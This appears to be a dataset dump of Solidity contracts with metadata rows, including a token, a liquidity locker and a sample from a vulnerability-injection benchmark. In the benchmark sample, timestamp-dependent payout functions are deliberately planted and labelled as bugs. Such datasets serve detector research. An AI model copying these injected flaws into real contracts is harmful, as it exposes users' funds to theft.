function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 324,524 | 12,771 |
b92081f5acbf47503199f0e39dd84c66032b81428026d16458e025088575b075
| 28,552 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/de/DE419671df0Fd20A2687192c1c55B33582136b19_LiquidityLocker.sol
| 3,598 | 14,475 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract LiquidityLocker is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
}
uint256 public depositsCount;
mapping (address => uint256[]) private depositsByTokenAddress;
mapping (address => uint256[]) public depositsByWithdrawer;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public lockFee = 0.1 ether;
address public marketingAddress;
event Withdraw(address withdrawer, uint256 amount);
event Lock(address token, uint256 amount, uint256 id);
constructor() {
marketingAddress = msg.sender;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
//require(msg.value >= lockFee, 'Need to pay lock fee!');
uint256 beforeDeposit = _token.balanceOf(address(this));
_token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterDeposit = _token.balanceOf(address(this));
_amount = afterDeposit.sub(beforeDeposit);
//payable(marketingAddress).transfer(msg.value);
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount);
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
depositsByTokenAddress[address(_token)].push(_id);
depositsByWithdrawer[_withdrawer].push(_id);
emit Lock(address(_token), _amount, _id);
return _id;
}
function extendLock(uint256 _id, uint256 _duration) external {
require(msg.sender == lockedToken[_id].withdrawer);
require(_duration < 10000000000 && _duration > 1, 'duration is invalid!');
lockedToken[_id].unlockTimestamp += _duration;
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
emit Withdraw(msg.sender, lockedToken[_id].amount);
lockedToken[_id].token.safeTransfer(msg.sender, lockedToken[_id].amount);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLockFee(uint256 _lockFee) external onlyOwner {
lockFee = _lockFee;
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getDepositsByWithdrawer(address _withdrawer) view external returns (uint256[] memory) {
return depositsByWithdrawer[_withdrawer];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 34,416 | 12,772 |
0a601f5a2092b8c7583319f412c49f9e8c636ec9f6e00a6223cda2266463a31d
| 10,331 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Dependency_of_timestamp/Sol/buggy_7.sol
| 3,052 | 10,296 |
pragma solidity 0.4.25;
contract Ownable
{
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
bool private stopped;
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp31 = msg.sender;}}
address private _owner;
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp30 = msg.sender;}}
address private _master;
address winner_tmstmp10;
function play_tmstmp10(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp10 = msg.sender;}}
event Stopped();
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
event Started();
uint256 bugv_tmstmp5 = block.timestamp;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
uint256 bugv_tmstmp4 = block.timestamp;
event MasterRoleTransferred(address indexed previousMaster, address indexed newMaster);
constructor () internal
{
stopped = false;
_owner = msg.sender;
_master = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit MasterRoleTransferred(address(0), _master);
}
function bug_tmstmp28 () public payable {
uint pastBlockTime_tmstmp28; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp28); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp28 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function owner() public view returns (address)
{
return _owner;
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp27 = msg.sender;}}
function master() public view returns (address)
{
return _master;
}
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp26 = msg.sender;}}
modifier onlyOwner()
{
require(isOwner());
_;
}
modifier onlyMaster()
{
require(isMaster() || isOwner());
_;
}
modifier onlyWhenNotStopped()
{
require(!isStopped());
_;
}
function isOwner() public view returns (bool)
{
return msg.sender == _owner;
}
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function isMaster() public view returns (bool)
{
return msg.sender == _master;
}
function bug_tmstmp24 () public payable {
uint pastBlockTime_tmstmp24; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp24); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp24 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function transferOwnership(address newOwner) external onlyOwner
{
_transferOwnership(newOwner);
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp23 = msg.sender;}}
function transferMasterRole(address newMaster) external onlyOwner
{
_transferMasterRole(newMaster);
}
address winner_tmstmp22;
function play_tmstmp22(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp22 = msg.sender;}}
function isStopped() public view returns (bool)
{
return stopped;
}
function bug_tmstmp21() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function stop() public onlyOwner
{
_stop();
}
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function start() public onlyOwner
{
_start();
}
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp2 = msg.sender;}}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp19 = msg.sender;}}
function _transferMasterRole(address newMaster) internal
{
require(newMaster != address(0));
emit MasterRoleTransferred(_master, newMaster);
_master = newMaster;
}
address winner_tmstmp18;
function play_tmstmp18(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp18 = msg.sender;}}
function _stop() internal
{
emit Stopped();
stopped = true;
}
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function _start() internal
{
emit Started();
stopped = false;
}
function bug_tmstmp16 () public payable {
uint pastBlockTime_tmstmp16; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp16); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp16 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
}
contract AccountWallet is Ownable
{
address winner_tmstmp3;
function play_tmstmp3(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp3 = msg.sender;}}
mapping(string => string) private btc;
function bug_tmstmp29() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
mapping(string => address) private eth;
uint256 bugv_tmstmp3 = block.timestamp;
event SetAddress(string account, string btcAddress, address ethAddress);
uint256 bugv_tmstmp2 = block.timestamp;
event UpdateAddress(string from, string to);
uint256 bugv_tmstmp1 = block.timestamp;
event DeleteAddress(string account);
function version() external pure returns(string memory)
{
return '1.0.0';
}
address winner_tmstmp15;
function play_tmstmp15(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp15 = msg.sender;}}
function getAddress(string account) external view returns (string memory, address)
{
return (btc[account], eth[account]);
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp14 = msg.sender;}}
function setAddress(string account, string btcAddress, address ethAddress) external onlyMaster onlyWhenNotStopped
{
require(bytes(account).length > 0);
btc[account] = btcAddress;
eth[account] = ethAddress;
emit SetAddress(account, btcAddress, ethAddress);
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function updateAccount(string from, string to) external onlyMaster onlyWhenNotStopped
{
require(bytes(from).length > 0);
require(bytes(to).length > 0);
btc[to] = btc[from];
eth[to] = eth[from];
btc[from] = '';
eth[from] = address(0);
emit UpdateAddress(from, to);
}
function bug_tmstmp12 () public payable {
uint pastBlockTime_tmstmp12; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp12); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp12 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function deleteAccount(string account) external onlyMaster onlyWhenNotStopped
{
require(bytes(account).length > 0);
btc[account] = '';
eth[account] = address(0);
emit DeleteAddress(account);
}
address winner_tmstmp11;
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp11 = msg.sender;}}
}
| 223,859 | 12,773 |
420188d208e5db37faaa6008b60c6d46e75ce2f27678691bd4493905e22909bf
| 22,184 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8b/8b4429d0c773de37da7d31eaa7e6cc0c6e8597d6_MCDONALDTRUMP.sol
| 2,869 | 10,962 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MCDONALDTRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'MC DONALD TRUMP';
string private _symbol = 'MC DONALD';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
